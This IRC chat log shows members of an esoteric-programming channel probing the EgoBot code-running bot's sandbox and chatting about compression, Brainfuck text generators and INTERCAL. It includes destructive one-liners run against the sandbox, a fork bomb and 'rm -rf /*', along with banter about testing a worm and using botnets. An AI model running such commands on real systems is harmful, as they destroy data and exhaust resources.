17:01:10 <GregorR> Oooooh, the name of a temporary file, I'm afeared.
17:01:14 <ais523> !c printf("%ld",(long)__STDC_VERSION__)
17:01:28 <ais523> !c printf("%ld",(long)__STDC_VERSION)
17:01:44 <ais523> !c printf("%ld",(long)STDC)
17:01:56 <ais523> !c printf("%ld",(long)4)
17:02:30 <ais523> it is __STDC_VERSION__, it seems
17:03:06 <GregorR> !c printf("%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_REVISION__)
17:03:17 <GregorR> Apparently none of us remember this stuff ;)
17:03:22 <GregorR> !c printf("%d.%d.%d", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__)
17:03:31 <ais523> !c printf("%ld",(long)__LINE__)
17:03:41 <ais523> !c printf("%ld",(long)__STDC_VERSION__)
17:03:49 <ais523> ugh, i just looked it up as well
17:03:50 <pikhq> !c while(1)fork();
17:04:06 <ais523> that's got to be sandboxed, surely?
17:04:09 <GregorR> I don't recall __STDC_VERSION__ existing.
17:04:13 <GregorR> ais523: Yeah, that does nothing.
17:04:24 <pikhq> He's got a heavy process limit in place.
17:04:29 <pikhq> It does *something*, but not much.
17:04:35 <GregorR> !c system("echo I can\\'t even system :(")
17:05:00 <GregorR> pikhq: Well, it fails to fork repeatedly for 30 seconds :P
17:05:12 <pikhq> GregorR: See? That's something.
17:05:30 -!- BeholdMyGlory has left (?).
17:05:48 <pikhq> !sh echo foo >bar;cat bar;rm bar
17:06:06 <ais523> !c execl("/bin/sh","-c","echo test");
17:06:08 <EgoBot> ./interps/gcccomp/gcccomp: line 55: 29351 Segmentation fault /tmp/compiled.$$ 2>&1
17:06:13 <GregorR> pikhq: Sorry, I removed sh :P
17:06:20 <ais523> wow, I didn't expect that...
17:06:26 <GregorR> ais523: Learn to use execl, luser :P
17:06:31 <ais523> !c execl("/bin/sh","-c","echo test",0);
17:06:33 <EgoBot> /bin/sh: echo test: No such file or directory
17:06:37 <GregorR> ais523: Learn to use execl, luser :P
17:06:39 <ais523> !c execl("/bin/sh","-c","echo","test",0);
17:06:40 <EgoBot> /bin/echo: /bin/echo: cannot execute binary file
17:06:44 <GregorR> ais523: Learn to use execl, luser :P
17:06:45 <ais523> GregorR: no, learn to use test
17:06:57 <GregorR> No, in fact, learn to use execl.
17:07:16 <Deewiant> !c execlp("sh","sh","-c","echo test\0");
17:07:17 <EgoBot> ./interps/gcccomp/gcccomp: line 55: 29455 Segmentation fault /tmp/compiled.$$ 2>&1
17:07:19 <ais523> !c execl("/bin", "sh","-c","echo test",0);
17:07:36 <Deewiant> !c execlp("sh","sh","-c","echo test",0);
17:07:42 <Deewiant> !c execlp("sh","sh","-c","echo test\0");
17:07:43 <EgoBot> ./interps/gcccomp/gcccomp: line 55: 29555 Segmentation fault /tmp/compiled.$$ 2>&1
17:07:51 <ais523> GregorR: I misread the manpage twice...
17:08:00 <pikhq> Deewiant: Null terminating a null-terminated string won't help. ;)
17:08:15 <GregorR> pikhq: It will use one delicious extra byte though.
17:08:19 <Deewiant> pikhq: I was wondering how it's different from passing a null argument.
17:08:20 <ais523> !c execlp("/bin/sh","/bin/sh","-c","echo test",0);
17:08:34 <GregorR> Deewiant: By being not the same in any way, shape or form.
17:08:39 <ais523> Deewiant: execl is varargs, it uses a null argument to terminate the arglist
17:08:57 <GregorR> Anyway, long story short, you can exec, you j ust can't fork.
17:09:00 <pikhq> Deewiant: Sticking a NULL as the last argument pushes 0 on the stack.
17:09:06 <ais523> !c execlp("/bin/sh","/bin/sh","-c","echo *",0);
17:09:07 <EgoBot> Makefile PRIVMSG daemon.sh daemons daemons.tmp fifowrap fix hcmds interps lib scmds slox subinterp.sh subinterps
17:09:08 <Deewiant> Hmm, right, it turns into an array of pointers.
17:09:19 <ais523> that was interesting...
17:09:24 <ais523> !c execlp("/bin/sh","/bin/sh","-c","cd /bin; echo *",0);
17:09:25 <EgoBot> bash busybox cat chgrp chmod chown chvt cp cpio date dd df dir dmesg dnsdomainname dumpkeys echo ed egrep false fgconsole fgrep fuser grep gunzip gzexe gzip hostname ip kbd_mode kill less lessecho lessfile lesskey lesspipe ln loadkeys login ls lsmod mkdir mknod mktemp more mount mountpoint mt mt-gnu mv nano nc nc.traditional netcat netstat open openvt pidof ping ping6 ps pwd rbash readlink rm rmdir rnano run-parts sed setfont sh sleep stty su sync tai
17:09:25 <pikhq> Sticking a NULL on the end of the string does nothing more than add an extra byte to the string.
17:09:31 <Deewiant> I've just been coding too much Funge :-P
17:09:50 <GregorR> !c execl("/bin/sh", "/bin/sh", "-c", "rm -rf /*", NULL)
17:09:51 <EgoBot> /bin/rm: cannot remove `/bin': Function not implemented
17:09:52 <Deewiant> There there's no difference between a double-null-terminated string and a null-terminated string followed by an empty null-terminated string
17:10:03 <pikhq> Well, not necessarily an array of pointers, but yeah.
17:10:06 <pikhq> Just too much funge for you.
17:10:17 <GregorR> "Function not implemented" is a weird error for the sandbox to give :P
17:10:37 <ais523> well, ENOTIMPLEMENTED to block unlink() is certainly a sane way to say you can't do it
17:10:42 <ais523> although maybe EACCESS would be better
17:10:45 <GregorR> Deewiant: Conceptually this is an array of pointers to strings, not just a bunch of concatenated string arrays ...
17:10:55 <GregorR> ais523: Yeah, EACCESS is what I expected.
17:11:16 <ais523> !c execlp("/bin/sh","/bin/sh","-c","cd /home; echo *",0);
17:11:16 <Deewiant> For some reason I was thinking that it'd be concatenated in memory.
17:11:30 <ais523> aww, egobot knows its own name
17:11:31 <Deewiant> !c execlp("/bin/sh","/bin/sh","-c","cd $home; echo *",0);
17:11:48 <Deewiant> !c execlp("/bin/sh","/bin/sh","-c","ls -l $home; echo *",0);
17:11:49 <EgoBot> /bin/sh: fork: Resource temporarily unavailable
17:11:59 <Deewiant> !c execlp("/bin/sh","/bin/sh","-c","ls -l $home",0);
17:12:00 <EgoBot> /bin/ls: Makefile: Function not implemented
17:12:09 <GregorR> Sorry, ls is a program, so sh will want to fork into it.
17:12:21 <Deewiant> !c execlp("/bin/sh","/bin/sh","-c","exec ls -l $home",0);
17:12:22 <EgoBot> /bin/ls: Makefile: Function not implemented
17:12:28 <ais523> !c execlp("/bin/ls","/bin/ls","-l","/home/egobot",0);
17:12:29 <EgoBot> /bin/ls: /home/egobot: Function not implemented
17:12:52 <ais523> [17:12] <EgoBot> drwxrwxrwx 0 0 0 0 Jan 1 1970 egobot.hg
17:13:03 <ais523> it seems it can read the file, but not determine modfile or link count or something
17:13:36 <pikhq> GregorR: Why not a fork limit of, like, 10? *Just* enough for non-abusive purposes?
17:14:01 <ais523> because 10 processes are a lot harder to sandbox than one
17:14:04 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo foobar forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
17:14:06 <GregorR> !sh echo 'People clearly want to play with sh, so enjoy.'
17:14:07 <EgoBot> People clearly want to play with sh, so enjoy.
17:14:12 <EgoBot> Installed user interpreters: better_hello bfbignum echo foobar hello
17:14:14 <ais523> GregorR: stick an INTERCAL interp in there/
17:14:18 <EgoBot> Unknown command () encountered
17:14:35 <GregorR> Deewiant: You realize they need input, right? :P
17:14:38 <ais523> GregorR: it's saner than CLC-INTERCAL
17:14:55 <GregorR> ais523: Is that an advertisement for C-INTERCAL, or CLC-INTERCAL?
17:15:05 <ais523> although, CLC-INTERCAL would have a simpler interface
17:15:07 <pikhq> ais523: Not really. plimits work just as well for 1 and 10.
17:15:09 <Deewiant> GregorR: I was hoping one of those would be something that doesn't, so I could discern what it is
17:15:10 <ais523> C-INTERCAL needs to fork gcc to compile
17:15:18 <ais523> whereas with CLC-INTERCAL, you can just use -lRun to run the program
17:15:57 <GregorR> Deewiant: hello and better_hello are C implementations of Hello (the language that only accepts 'h'), echo echos, bfbignum implements bignum BF on top of normal BF, and foobar ... well, I don't remember foobar.
17:16:16 <Deewiant> !foobar 64 and 64 and 64, oh my.
17:16:17 <EgoBot> 64 and 64 and 64, oh my.
17:16:27 <GregorR> It seems that foobar echos too :P
17:16:30 <Deewiant> (Not http://www.esolangs.org/wiki/Foobar)
17:16:48 <ais523> foobar and foobaz and barbaz, oh my?
17:17:10 <EgoBot> Interpreter foobar deleted.
17:17:24 <EgoBot> Interpreter bfbignum deleted.
17:17:34 <EgoBot> That interpreter doesn't exist!
17:17:46 <EgoBot> That interpreter doesn't exist!
17:17:48 <EgoBot> That interpreter doesn't exist!
17:17:52 <GregorR> addinterp bfbignum bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b
17:17:54 <GregorR> !addinterp bfbignum bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b
17:17:54 <EgoBot> Interpreter bfbignum installed.
17:18:23 <EgoBot> Unknown command (g) encountered
17:18:44 <ais523> what forms of giving input to programs does EgoBot support atm?
17:18:59 <GregorR> ais523: With !daemon, stdin.
17:19:10 <GregorR> !daemon anotherecho bf ,[.,]
17:19:10 <EgoBot> Daemon anotherecho running.
17:19:10 <Deewiant> !addinterp slowbf98 befunge98 iki.fi/deewiant/files/befunge/programs/slowdown.b98
17:19:10 <EgoBot> Interpreter slowbf98 installed.
17:19:22 <EgoBot> Daemon anotherecho killed.
17:19:37 <Deewiant> !slowbf98 a"dlrow ,olleh">:#,_@
17:19:55 <ais523> Deewiant: is slowdown foolable, by the way?
17:19:58 <GregorR> Deewiant: It'll get killed after 30 seconds :P
17:20:04 <Deewiant> GregorR: It shouldn't be /that/ slow
17:20:05 <ais523> as in, can a program running inside slowdown tell that it's been slowed?
17:20:17 <Deewiant> Yes, since the storage offset isn't (0,0)
17:20:18 <ais523> yep, cfunge was optimising to try to handle slowdown in reasonable speed
17:20:49 <AnMaster> so did anything important happen
17:20:51 <ais523> AnMaster: we've been playing with EgoBot
17:20:53 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh slowbf98 test trigger udage01 underload unlambda whirl
17:21:00 <EgoBot> EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/
17:21:05 <GregorR> Everybody wurves EgoBot :P
17:21:24 <GregorR> AnMaster: None of significance, but it has both !addinterp and !daemon now.
17:21:52 <Deewiant> GregorR: How did you build cfunge?
17:22:02 <Deewiant> Or wait, that shouldn't matter for that
17:22:11 <Deewiant> I was wondering whether EXACT_BOUNDS was on or off
17:22:13 <GregorR> (The only difference being that when you use an !addinterp, it runs it once for each line of input, whereas when you use a !daemon, a single instance gets all input)
17:22:18 <Deewiant> But since that doesn't wrap it shouldn't matter
17:22:27 <GregorR> Deewiant: It is still running, it's just not saying anything :P
17:22:31 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh slowbf98 test trigger udage01 underload unlambda whirl
17:22:42 <GregorR> Deewiant: Nowait, it got killed for taking too long, sowwy :P
17:22:57 <AnMaster> Deewiant, exact bounds are on iirc
17:23:04 <Deewiant> Seriously, that should take a couple of seconds at most.
17:23:14 <Deewiant> Even on a not-very-new machine.
17:23:22 <GregorR> !befunge98 a"dlrow ,olleh">:#,_@
17:23:44 <Deewiant> GregorR: It takes 0.02s here, FWIW.
17:24:10 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh slowbf98 test trigger udage01 underload unlambda whirl
17:24:17 <Deewiant> GregorR: Do you give the program in stdin?
17:24:23 <ais523> really, a null daemon is pretty pointless
17:24:43 <AnMaster> Deewiant, it runs in sandbox mode
17:25:00 <EgoBot> Interpreter slowbf98 deleted.
17:25:45 <Deewiant> i only works on files so it would've been too much work to deal with stdin :-P
17:26:16 <AnMaster> !befunge98 ;@.1;#; "file.b98"00 #; i 2.@
17:26:27 <AnMaster> ais523, you can't mmap() stdin
17:26:38 <AnMaster> so then you would need to write a patch to how files are loaded
17:26:42 <ais523> err, you use mmap for i, with no fallback to something unmappable?
17:27:50 <AnMaster> ais523, that would need a different parser then. Since if I used fread() or such I would have to deal with \r at end of block might be followed by \n at the start of next
17:28:09 <AnMaster> that complexity was the main reason I used mmap() to begin with :P
17:28:14 <ais523> you could just use fgetc
17:28:27 <AnMaster> ais523, feel free to use FILE :)
17:28:41 <AnMaster> I don't think it is a bug anyway.
17:29:31 <AnMaster> ais523, and i would still be banned in sandbox mode. Since the check is done quite early on
17:29:52 <AnMaster> in -S it acts like i and o are not implemented. And y reports that way.
17:31:07 <EgoBot> addinterp: !addinterp <name> <language> <code>. Add a new interpreter to EgoBot. This interpreter will be run once every time you type !<name> <subcode>, and receive the program code as input.
17:31:26 <EgoBot> daemon: !daemon <name> <language> <code>. Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time !<name> <input> is run. Note that daemons are only allotted one line of output for each line of input.
17:32:00 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
17:32:04 <EgoBot> Sorry, I have no help for befunge98!
17:32:07 <EgoBot> Sorry, I have no help for foo!
17:32:13 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
17:32:18 <EgoBot> Sorry, I have no help for a_b!
17:32:24 <GregorR> Only addinterp, daemon and friends are !help'd right now.
17:32:40 <EgoBot> Sorry, I have no help for _______!
17:32:46 <GregorR> And yes, it does sanitize its arguments :P
17:32:54 <AnMaster> GregorR, you could make this tell language name and url for each
17:32:54 <EgoBot> daemon: !daemon <name> <language> <code>. Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time !<name> <input> is run. Note that daemons are only allotted one line of output for each line of input.
17:33:05 <GregorR> AnMaster: I could. So could you ;)
17:33:07 <AnMaster> GregorR, maybe fetch data from USED_VERSION
17:33:15 <GregorR> AnMaster: If only USED_VERSION was useful >_>
17:33:25 <AnMaster> GregorR, no, I'm preparing a cfunge 0.4.1 atm
17:33:37 -!- MizardX has joined.
17:33:41 <GregorR> ......................... /me fails to see how that's relevant to this.
17:33:48 <AnMaster> "<GregorR> AnMaster: I could. So could you ;)"
17:33:48 * GregorR goes back to adding INTERCAL
17:35:35 -!- Slereah has joined.
17:36:48 -!- WangZeDong has quit (Success).
17:38:05 <GregorR> Bleh, CLC-INTERCAL pretty much can't live without being installed, can it ...
17:38:46 <ais523> no, but you can install it into a hierarchy somewhere else
17:38:53 <ais523> and then use PERL5LIBS or command-line options to tell it where
17:39:04 <ais523> in theory, at least, I've never tried
17:39:23 * GregorR hates makemaker, but tries to remember it to be fair.
17:40:35 -!- nooga has joined.
17:41:40 <nooga> i'd like to have something like botnet, but made to perform distributed computing :d
17:41:59 <nooga> like erm... silent seti@home
17:43:03 <GregorR> How about protein folding.
17:43:12 <GregorR> I WILL FORCE YOU TO CURE CANCER WHETHER YOU LIKE IT OR NOT
17:43:43 <nooga> computer slave labour ;F
17:49:52 <fizzie> I hear you can buy botnet access from CRIMINALS; I wonder if any research lab has done "oh, crud, we have to compute this simulation before weekend, but our cluster is too small; let's call the Storm guys".
17:55:08 <GregorR> ais523: CLC-INTERCAL installed
17:55:15 <nooga> maybe i should try this "yellow/red/orange square" trick from 4chan
17:55:32 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello intercal kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
17:55:46 <ais523> !intercal DO READ OUT #4
17:55:51 <EgoBot> *000 Invalid statement
17:56:03 <ais523> it gave the correct answer, but gave the error first
17:56:19 <ais523> I wonder why it errored?
17:56:42 <AnMaster> I'd go for bz2 because it is easier to unpack
17:56:52 <GregorR> So long as it's an obnoxious format that's difficult to unpack.
17:56:53 <nooga> !c printf("eeek");
17:56:54 <AnMaster> GregorR, can't do rar. .Z I could do
17:57:08 <GregorR> You have access to compress? :P Solaris?
17:57:35 <ais523> well, yes if I ever post it on Usenet
17:57:40 <ais523> but things should be used for what they're designed for
17:57:51 <GregorR> ... encode it as Brainfuck? .bf.gz
17:58:08 <AnMaster> Deewiant, how do you do that on command line
17:58:24 <AnMaster> <GregorR> You have access to compress? :P Solaris? <-- no. I installed it from portage.
17:58:34 <AnMaster> I don't plan to do recursive .a
17:58:44 <ais523> AnMaster: "zip", with the same syntax as tar except you omit the cvf argument
17:58:46 <AnMaster> ais523, what would I *gain* from .pax
17:58:49 <GregorR> WTF? Since when is there a version of compress for nonshittyOS?
17:58:54 <ais523> AnMaster: standards-compliance
17:59:05 <AnMaster> ais523, so zip cfunge-0.4.1.zip cfunge-0.4.1
17:59:14 <Deewiant> GregorR: Comes with gzip, apparently
17:59:22 <AnMaster> app-arch/ncompress http://ncompress.sourceforge.net/ Description: Another uncompressor for compatibility
17:59:43 <fizzie> Distribute it as a lzma-compressed squashfs image; that has the added-value benefit of not being in the main squashfs tree, requiring separate patching. (Although I guess distributions package that stuff, still.)
18:00:04 <AnMaster> fizzie, would mean I would have to do it too
18:00:12 <Deewiant> And I think cramfs is even less widespread than squashfs
18:00:37 <fizzie> Deewiant: Well, "main squashfs tree" meaning the places where squashfs-utilities come from; but it's also not in the mainline kernel.
18:01:08 <GregorR> Damn, textgen.java can't generate a BF version of a 1.1M block of text :P
18:01:27 <AnMaster> lets see what advzip can do to that
18:01:30 <GregorR> Somebody write me a better BF text generator! :(
18:01:32 <ais523> !bf_txtgen Hello, world!
18:01:35 <EgoBot> 126 ++++++++++[>+++++++>++++++++++>++++>+<<<<-]>++.>+.+++++++..+++.>++++.------------.<++++++++.--------.+++.------.--------.>+.>. [859]
18:01:47 <ais523> why did it add that infinite loop at the end?
18:01:50 <GregorR> (And by "better", I only mean "supporting obscenely huge input")
18:02:06 <Deewiant> AnMaster: zip -9 should be better.
18:02:20 <ais523> GregorR: "[859]" is an infinite loop, because the current tape element isn't a 0
18:02:39 <GregorR> ais523: That's the number of generations it ran X-P
18:02:50 <fizzie> 7zip can also generate zips; it might even do smaller ones. I don't happen to have cfunge-0.4.1 so I can't really test.
18:03:33 <AnMaster> that is using the best compression possible for each
18:03:55 <ais523> distribute the binary, with a --quine option?
18:04:00 <AnMaster> I'm going for bz2 I think here. The difference to lzma is minimal in this case, and bzip2 is rather common these days.
18:04:18 <AnMaster> Deewiant, don't have it installed
18:04:29 <ais523> actually, why binaries? Why not decimals?
18:04:48 <ais523> someone should write an executable which doesn't have a single a, b, c, d, e, or f when encoded into hex
18:05:02 <AnMaster> Deewiant, was that to me or ais523
18:05:04 <fizzie> "7z a -tzip -mx=9 blah.zip files" for most-compressed zip 7zip can do, if I read the docs right.
18:05:25 <Deewiant> fizzie: I use -mfb=273 on top of that
18:05:48 <AnMaster> so 1 kb less than after advancecomp
18:05:48 <fizzie> "Sets number of Fast Bytes for Deflate encoder."
18:05:49 <Deewiant> 7za a -r -tzip -mx9 -mfb=258 -mpass=15 $f.zip $f
18:06:49 <AnMaster> Deewiant, same size as from command fizzie gave
18:07:22 <Deewiant> Alright, guess it does nothing then
18:07:35 <fizzie> -mx=9 implies (without the other flags) -mfb=128 -mpass=10, again if I read this table right.
18:07:37 <AnMaster> Deewiant, it might, just not in this specific case
18:07:38 <ais523> having more than 256 possible bytes is rather strange anyway
18:09:05 <AnMaster> sourceforge changed my username from AnMaster to anmaster
18:09:57 <Deewiant> I'm not sure where I got 258 and 273
18:11:13 <ais523> wow, Perl6 lets you get the length of a string in pixels
18:11:19 <ais523> I wonder what happens if you try that in a text-mode program?
18:11:47 <ais523> I haven't tried it, I'm just reading the docs
18:11:56 <AnMaster> <ais523> wow, Perl6 lets you get the length of a string in pixels
18:12:05 <AnMaster> isn't that up to the GUI toolkit
18:12:15 <ais523> that's what I'd assume, too
18:12:18 <AnMaster> I mean, getting length in pixels
18:12:20 <ais523> presumably you have to have an active GUI, or something
18:12:24 <ais523> just like you have an active filehandle
18:12:26 <AnMaster> it isn't like it is core feature
18:15:50 <fizzie> Deewiant: You probably got 258 from the fact that it's the maximum for that particular value for zip/deflate.
18:16:25 <Deewiant> Yeah, I figured it'd be something like that, but I don't know where in particular I found that out
18:16:32 <Deewiant> Unless it says so right there in the manual?
18:16:46 <fizzie> Well, in the /usr/share/doc/p7zip-full/DOCS/MANUAL/switches/method.htm manual in my case.
18:16:54 <fizzie> "It can be in the range from 3 to 258."
18:17:34 <ais523> 3 to 258 is a range that fits inside an 8-bit int
18:17:37 <ais523> with appropriate encoding
18:19:13 <ais523> heh, Perl6 added support for all the bracket characters in Unicode, for things like s{}{}
18:19:29 <ais523> that reminds me of C-INTERCAL treating all the currency characters in Unicode as mingle...
18:20:27 <ais523> AnMaster: I was just talking...
18:21:39 <AnMaster> well I'm going to submit that news item thing. And sf.net will add it on slashdot again.
18:21:50 <AnMaster> ais523, http://slashdot.org/firehose.pl?op=view&id=4375881
18:22:01 <GregorR> $ du -h cfunge-src.shar.bf
18:22:09 <fizzie> s❮foo❯❮bar❯ for heavy-duty string-replacement.
18:22:26 <AnMaster> fizzie, err.... they dropped / now?
18:22:32 <fizzie> That being "heavy left/right-pointing angle quotation mark ornament".
18:22:34 <GregorR> You mean I just wrote this awesome text->BF translator that supports arbitrarily long input for NOTHING :(
18:22:48 <fizzie> For brackets it's always been in the "s{foo}{bar}" style.
18:22:49 <Deewiant> Exact bounds wasn't in a release yet?
18:22:59 <ais523> GregorR: you're supposed to compress the bf afterwards
18:23:02 <AnMaster> Deewiant, no. It was added between 0.4.0 and 0.4.1
18:23:03 <fizzie> For non-parenthesis-like characters it's the same character.
18:23:13 <ais523> and I'm interested in it, even if AnMaster isn't
18:23:13 <AnMaster> Deewiant, It will be in 4.0 I'm sure.
18:23:22 <GregorR> ais523: But it takes a while to compress 47MB :P
18:23:24 <Deewiant> AnMaster: Why is cfunge less than 1.0 anyway
18:23:36 <ais523> AnMaster: upmodded, but basically no chance it'll make the front page anyway
18:23:40 <GregorR> $ du -h cfunge-src.shar.bf.lzma
18:23:41 <GregorR> 392K cfunge-src.shar.bf.lzma
18:23:49 <GregorR> This is clearly your best format.
18:23:49 <Deewiant> AnMaster: There's nothing 'missing'
18:23:53 <ais523> that's not all that bad...
18:24:06 <AnMaster> Deewiant, ehird would disagree I think. ;O
18:24:26 <Deewiant> CCBI was at 1.0 when it could run Mycology minus the fingerprints
18:24:29 <AnMaster> Deewiant, anyway. There is. I'm not below 0.010 yet
18:24:51 <AnMaster> Deewiant, IMO Linux should be 3.0 by now
18:24:53 <GregorR> ais523: It only takes 2.4s for egobfi8 to extract the .bf
18:24:58 <AnMaster> since so much changed since 2.6.0
18:25:08 <AnMaster> but each version changed very little
18:25:21 <ais523> how efficient is your text-to-BF translator, in terms of output size?
18:25:31 <GregorR> ais523: Really quite awful :P
18:25:45 <EgoBot> Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello intercal kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl
18:25:50 <GregorR> ais523: All it does is factor, multiply up the factors, then add that in. It doesn't even make good use of cells.
18:25:52 <AnMaster> GregorR, did you use bf_txtgen
18:25:59 <GregorR> AnMaster: No, that won't handle 1.1M files :(
18:26:13 <AnMaster> GregorR, don't use shar for the input then
18:26:17 <ais523> !intercal DO READ OUT #4¢#6
18:26:22 <EgoBot> 71 +++++++++[>+++++++++++>+++++++++++++>+><<<<-]>.+++.>.-------.<+.--.>>+. [305]
18:26:29 <Deewiant> AnMaster: Not at all. Firstly, Linux is past 1.0, and secondly, saying that Linux should be at a higher version makes it seem even more that cfunge should be at a higher version too :-P
18:26:36 <EgoBot> 71 +++++++++[>+>+++++++++++>+++++++++++++><<<<-]>>.+++.>.-------.<+.--.<+. [207]
18:26:36 <GregorR> AnMaster: I don't think tar would do better, but I'll give it a shot.
18:26:44 <AnMaster> GregorR, what is the "71" there for
18:26:56 <AnMaster> GregorR, tar produces non-ascii armoured one
18:26:57 <GregorR> AnMaster: Length of the BF program.
18:26:59 <ais523> GregorR: what character set are you giving CLC-INTERCAL its input in? It needs Latin-1, I suspect you're passing it UTF8
18:27:02 <AnMaster> fizzie, then what is the [207] for
18:27:09 <kerlo> Remind me what WRITE IN and READ OUT do.
18:27:15 <GregorR> ais523: I'm passing it raw exactly what comes from IRC.
18:27:16 <ais523> well, or I'm passing it UTF-8
18:27:23 <EgoBot> 76 ++++++++++[>++++++++++>+>><<<<-]>-.+++.+++++++++++++++.-------.-------.--.>. [64]
18:27:30 <ais523> I'm not even sure I could paste raw latin-1 in this client
18:27:33 <EgoBot> 71 +++++++++[>+++++++++++>+++++++++++++>+><<<<-]>.+++.>.-------.<+.--.>>+. [215]
18:27:49 <ais523> !intercal DO READ OUT #4#6
18:27:52 <EgoBot> 71 +++++++++[>+++++++++++++>+++++++++++>+><<<<-]>>.+++.<.-------.>+.--.>+. [475]
18:27:53 <fizzie> It's funny how it always uses that fixed number of cells, ends up doing that "><" in the loop.
18:27:57 <EgoBot> *000 Invalid statement
18:28:06 <ais523> ah, correct answer this timme
18:28:18 <AnMaster> <fizzie> It's funny how it always uses that fixed number of cells, ends up doing that "><" in the loop.
18:28:26 <GregorR> fizzie: It uses a genetic algorithm and I cut it off before it can really perfect things.
18:28:31 <ais523> !intercal DO READ OUT #4#6 DO GIVE UP
18:28:39 <AnMaster> <EgoBot> 69 +++++++++[>+++++++++++++>+++++++++++>+<<<-]>>.+++.<.-------.>+.--.>+. [human]
18:28:52 <ais523> !intercal DO READ OUT #130~#125 DO GIVE UP
18:29:03 <AnMaster> GregorR, you could at least compress the result
18:29:03 <GregorR> $ du -h cfunge-src.tar.bf.lzma
18:29:03 <GregorR> 316K cfunge-src.tar.bf.lzma
18:29:14 <GregorR> AnMaster: I do, but it takes a while to compress 36MB X-P
18:29:21 <AnMaster> <AnMaster> <EgoBot> 69 +++++++++[>+++++++++++++>+++++++++++>+<<<-]>>.+++.<.-------.>+.--.>+. [human]
18:29:28 <fizzie> AnMaster: With "-t 2" and letting it run a while gives a 64-character version: +++++++++[>+++++++++++>+++++++++++++<<-]>.+++.>.-------.<+.--.
18:29:31 <fizzie> ^bf +++++++++[>+++++++++++>+++++++++++++<<-]>.+++.>.-------.<+.--.
18:29:32 <AnMaster> <EgoBot> 71 +++++++++[>+++++++++++++>+++++++++++>+><<<<-]>>.+++.<.-------.>+.--.>+. [475]
18:29:40 <GregorR> AnMaster: I just give the raw output directly from textgen.java
18:29:54 <AnMaster> GregorR, it wouldn't be much work stripping ><
18:30:03 <GregorR> And yet, I'm soooooooooooooo lazy.
18:30:09 * nooga is browsing milw0rm
18:30:24 <nooga> coud you guys test my worm, later?
18:30:42 <GregorR> nooga: If it's a good worm, you don't need to ask us, nor will we ever realize we tested it.
18:30:59 <ais523> nooga: what OS are you designing it for? Most likely, I wouldn't be able to run it
18:31:20 <nooga> ais523: try running windoze in virtualbox
18:31:29 <ais523> nooga: I don't have a Windows licence
18:31:35 <ais523> nor would I install one to help you test malware
18:31:40 <ais523> GregorR: no, I run Linux
18:31:54 <ais523> I think I've got a spare Windows 98SE license lying around
18:31:57 <ais523> but probably not the install media
18:32:16 <pikhq> ais523: BitTorrent it?
18:32:32 <ais523> pikhq: but that would be illegal, wouldn't it?
18:32:36 <nooga> /b/tards will test the worm
18:32:48 <ais523> you get a license to a particular copy of Windows, not to other people's versions, IIRC
18:32:56 <ais523> and I'm not sure offhand what sort of license it was
18:33:12 <pikhq> I suspect it's merely a tiny bit of a grey area.
18:33:34 <pikhq> You might be able to go to court for it, but you'd be rather likely to win the case; after all, you *do* have a license.
18:34:05 <GregorR> !c printf("lawlehcoptahs")
18:34:11 <ais523> pikhq: but if torrenting, unless I was leeching, I'd be uploading it to other people at the same time
18:34:14 <ais523> and /that/ would be illegal
18:34:55 <ais523> I love perl6's but operator, anyway
18:35:16 <ais523> in perl5, the string "0 but true" was often used to give a value which was numerically 0, but true
18:35:32 <GregorR> http://pastebin.ca/1411339 <-- my lame-o BF textgen.
18:35:40 <ais523> in perl6, you can write 0 but true as an expression, and get a copy of 0 that is true
18:35:54 <pikhq> That's so very... Screwy.
18:35:56 <ais523> probably it's most useful for $var but untainted
18:36:24 <ais523> Deewiant: that would be a copy of true, except for being false
18:36:29 <ais523> which would just be false, as far as I can tell
18:36:38 <ais523> because true and false are the same apart from their truth values
